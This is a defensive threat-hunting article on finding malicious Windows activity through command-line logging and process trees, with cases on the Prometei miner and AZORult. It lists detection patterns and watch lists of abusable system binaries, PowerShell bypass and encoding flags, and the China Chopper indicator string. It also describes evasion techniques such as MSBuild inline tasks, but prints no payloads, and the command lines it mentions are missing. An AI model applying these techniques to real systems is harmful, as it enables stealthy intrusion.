Searching for malicious activity in Windows using command line logging and process trees

Hunting for Malicious Activity with Command Line Logging

Analyzing command lines and process trees allows you to get a picture of what happened during an attack. Once a suspicious event is identified, you can move on to all events generated by a specific system to get a more detailed picture of the attack to mitigate the consequences of this attack.

Configuring Windows for Command Line Logging

Command line logging can be implemented by any organization at no additional cost. Starting with Windows 8.1, it became possible to save process creation and termination events in the Windows security event log. In addition, the event creation template can be modified to include full command line logging.

To enable the audit process creation policy, you need to edit the following group policy:

Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit 
Configuration > Detailed Tracking > Audit Process Creation

In addition, to log command lines and process events, you need to change the process creation event template. The template is changed as follows:

 Administrative Templates\System\Audit Process Creation

It is necessary to configure Windows Event Forwarding for centralized event collection. In the case described by the author, telemetry from the Cisco AMP product was used, which includes the command line, as well as some other contextual information, such as the unique computer identifier, process SHA256, as well as available files, IP addresses, and parent process information. However, to search for new attacks using the command line, it is enough to enable logging of these events in the group policy. The event ID that needs to be collected and analyzed is 4688.

Searching for malware using command line events

LoLBins

LoLBin is any binary file provided by the operating system that is usually used for legitimate purposes, but can also be used by attackers for their own purposes. Some system binaries by default have unexpected side effects that help attackers hide their actions after using them. New LoLBins regularly appear, and it is recommended to monitor resources such as LOLASProject.

The concept of LoLBin is not new and is not specific to Windows. Almost all common operating systems, starting from early versions of DOS and Unix, contained executable files that attackers could use. Mainly, attackers use LoLBin for:

• Downloading and installing malicious code;

• Executing malicious code;

• Bypassing User Account Control;

• Bypassing application control tools, such as (WDAC).

Attackers can use other utilities that are often pre-installed by system manufacturers and can be discovered during reconnaissance. These executables can be signed utilities, such as update tools, configuration files, or drivers.

The use of LoLBins is often combined with legitimate cloud services such as GitHub, Pastebin, Amazon S3 storage, and cloud drives such as Dropbox, Box, or Google Drive. When using legitimate cloud services to store malicious code, C&C infrastructure (command-and-control), and data exfiltration, attackers' actions are more likely to go unnoticed, as the generated traffic does not differ from legitimate traffic. Therefore, detecting such activity is mainly associated with searching for executables that can be used to download or execute malicious code. During the research described in the article, analysts daily monitored the execution patterns of the following executables to identify their malicious use:

• powershell.exe
• bitsadmin.exe
• certutil.exe
• psexec.exe
• wmic.exe
• mshta.exe
• mofcomp.exe
• cmstp.exe
• windbg.exe
• cdb.exe
• msbuild.exe
• csc.exe
• regsvr32.exe

Analysis of malicious use of PowerShell

Recently, PowerShell has often been a source of malicious code that can be loaded and executed in Windows memory. Attackers often use this command shell, built on the Windows management platform and .NET frameworks. This powerful administration environment has a security policy that can prevent the execution of untrusted code. But unfortunately, this policy can be easily bypassed with a single command line option (-ExecutionPolicy ByPass).

One could argue that running PowerShell with the ability to bypass the security policy should be completely blocked. However, there are a number of legitimate tools, such as the Chocolatey package manager and some system management tools, that use this option.

PowerShell code is not case-sensitive, and it will accept abbreviated versions of command line parameters unless the parameter is ambiguous. For example, the -EncodedCommand option, which takes a Base64 encoded string as a parameter, can also be invoked as -Encoded or even -enc, which is commonly used by attackers.

Popular malware such as Sodinokibi and GandCrab have previously used the reflective DLL loading method, which allows attackers to load a dynamic library into the process memory without using the Windows API.

The Invoke-Obfuscation module is often used to create polymorphic obfuscated variants that will not be detected by antivirus programs and other security measures.

Malicious use of MSBuild

Over time, attackers also realized the potential of PowerShell, increasing the number of executable files used as LoLBins. Msbuild.exe and the C# compiler csc.exe are among the most frequently used.

MSBuild is part of the Microsoft Build Engine, a software build system that creates applications according to the configuration in an XML file. The XML configuration file is usually created using Microsoft Visual Studio. However, Visual Studio is not required on the system for compilation. Attackers take advantage of MSBuild, which allows them to include malware source code in the MSBuild configuration file or project file. One of the features of MSBuild configuration files is that the developer can include a special XML tag that defines an embedded task containing source code that will be compiled and loaded by MSBuild into memory.

Depending on the task attributes, the developer can specify a new class, method, or code fragment that is automatically executed when the project is built. The source code can be specified as an external file on disk. Separating the project file and the malicious source code can make it even more difficult to detect malicious MSBuild runs. The research found evidence of many frameworks that were actively used in attacks, such as Cobalt Strike, Metasploit Meterpreter, Covenant, NPS (not PowerShell), and Mimikatz.

Unfortunately, for tools like MSBuild, it is not enough to simply analyze command line events to detect a suspicious call. Most configuration files, even with legitimate calls, will be created in the user's temporary folder. Process trees, which will be discussed below, can help here.

Analysis of LoLBins Usage

The study analyzed telemetry containing the names of running processes along with cryptographic checksums of files, which helped track the trajectory of files and build relationships between parent and child processes for analysis.

The analysis assumed that activity was suspicious if any of the following processes were called with a URL as a parameter:

• powershell.exe
• bitsadmin.exe
• certutil.exe
• mshta.exe
• regsvr32.exe

This simplified definition of a "suspicious" process call means that there will be a high percentage of false positives and a lot of manual work will be required to analyze the resulting data. For example, for a PowerShell call with a URL in the command line, the analysis found that only 7 percent of the initially selected calls were likely to be malicious.

With this approach, the percentage of suspicious calls, relative to the total number of calls, is approximately 0.2%. This means that at least 99.8% of all LoLBin calls can be excluded from further analysis. As an example, we take PowerShell - the worst indicator for potentially suspicious PowerShell processes was 0.2%. However, as mentioned earlier, only 7% of them require thorough analysis, which reduces this figure to 0.014%. Thus, at least 99.986% of PowerShell calls are legitimate.

Then these selected suspicious calls were analyzed to detect truly malicious ones. A simple empirical rule for URLs that can be used to detect calls that are more likely to be malicious is to look for LoLBin calls in combination with:

• External IP address
• Any .net domain
• Any .eu domain
• Any .ru domain
• Any URL ending with an executable file or image extension (e.g., .EXE, .LNK, .DLL, .JPG, .PNG, etc.)
• Any link to Pastebin.com and its clones
• Any links to GitHub or any other source code repository sites.

In general, when searching for malicious command lines, it is important to consider the following:

• PowerShell and other scripting engines command line arguments
• Decoding Base64 encoded commands provided as an argument in PowerShell
• Detection of obfuscation applied by modules such as Invoke-Obfuscation
• Using the Invoke-Expression (iex) cmdlet
• URLs specified in the command line, mshta.exe, regsvr32.exe
• Non-standard paths of executable files with names of default Windows processes
• Misspelled names similar to default executable files
• Unsigned executable files run using the names of default Windows programs

Searching for specific attacks

Although command line inspection is not a particularly complex method of system protection, it can be very useful for identifying certain types and classes of malware. A good example is PHP backdoors, which can show that PHP processes are running other utilities in a way that is quite unusual for a clean system.

As an example, let's analyze China Chopper in telemetry. China Chopper is a tool that allows attackers to remotely control a target system on which a web application must be running before the attack. The web shell works on different platforms, but in this example, there will be information only for Windows.

A characteristic sign of China Chopper infection is the presence of the string "[S]&cd&echo[E]" at the end of the command line, which will be visible in the event log. When searching for specific families of malware using the command line, it is important to carefully analyze all known indicators of compromise (IoC) and identify unique patterns that will allow identifying activity in event logs without causing a high percentage of false positives.

Searching for malicious activity using a process tree

A process tree is simply a graph where the nodes of the graph are processes, and the edges describe the relationships between the nodes and can be created, terminated, or written to (for process injection). Nodes can contain metadata that helps establish context, such as command line, IP addresses, URLs, etc.

Below is an example of a process tree for MSBuild.

The figure shows an example of malicious activity starting with an infected Word document. Monitoring commands should regularly check parent-child relationships between processes. In this case, observing how winword.exe launches the MSBuild.exe process, and MSBuild.exe launches iexplore.exe, is highly suspicious.

Data schema as a process tree/graph

The figure below shows a simple schema with basic data that can be useful for quickly sorting events, processes, files, and domains observed in the organization.

With this implementation of tree representation, it becomes possible to request and view trees from any point that will be detected when searching for new threats, using command lines as input data.

The process is relatively simple, although it may take a long time, especially when searching for modular types of malware. Once suspicious command line events are detected, the process tree is used to extract all other command line events, as well as checksums of the main process modules. For each of them, we move further down the tree.

Practical example: Prometei cryptominer

As a practical example, consider the activity of attackers mining Prometei cryptocurrency, which uses several modules, each specializing in its own task, but detected by analyzing the process tree. The attackers operated for at least three months, starting from the end of March 2020, and on average about 10,000 systems were affected daily, and by mid-June, this activity brought the attackers more than 3,500 US dollars, bringing an average of just under 50 dollars a day.

The attacker used a modified Mimikatz to collect user credentials, and then separate modules for spreading via SMB and RDP, reusing the discovered passwords and obtaining another list of possible targets and user credentials. XmrigCC is used for mining, and traffic can be proxied through the Tor network by adding the infected system using a modified version of the Tor router software.

Prometei was detected thanks to a single discovered PowerShell command line (see below), which was launched by the svchost.exe process located in a non-standard path (C:\Windows\ vs C:\Windows\System32). Tracing the svchost.exe process tree led to the discovery of the path C:\Windows\Dell, which contains the remaining Prometei modules.

When searching for suspicious command line events, special attention should be paid to the immediate parent and immediate child elements of the process. For example, it is known that many attacks start with a document format where winword.exe, excel.exe, or powerpnt.exe can launch other processes, including LOLBins such as PowerShell, mshta.exe, regsvr32.exe, cmd.exe, etc. This can be used to search for suspicious calls.

Practical example: AZORult

Another successful search example started with Base64 encoded command line events that loaded a PowerShell malware loader. The original command line looked like this:

Viewing the process tree allowed us to find the executable loader and the ISO image on which the loader was placed.

After going through the entire process tree, other modules were found, after which a complete picture of the attack was formed, which used AZORult, the Remcos remote access tool, the Dark VNC client, and the XmrigCC cryptominer.

Conclusions

A challenging task in investigating cybersecurity incidents and searching for threats in the infrastructure is detecting real indicators of compromise from the noise of legitimate events. For searching for malicious activities and investigating incidents, centralized collection of command line events is a valuable tool.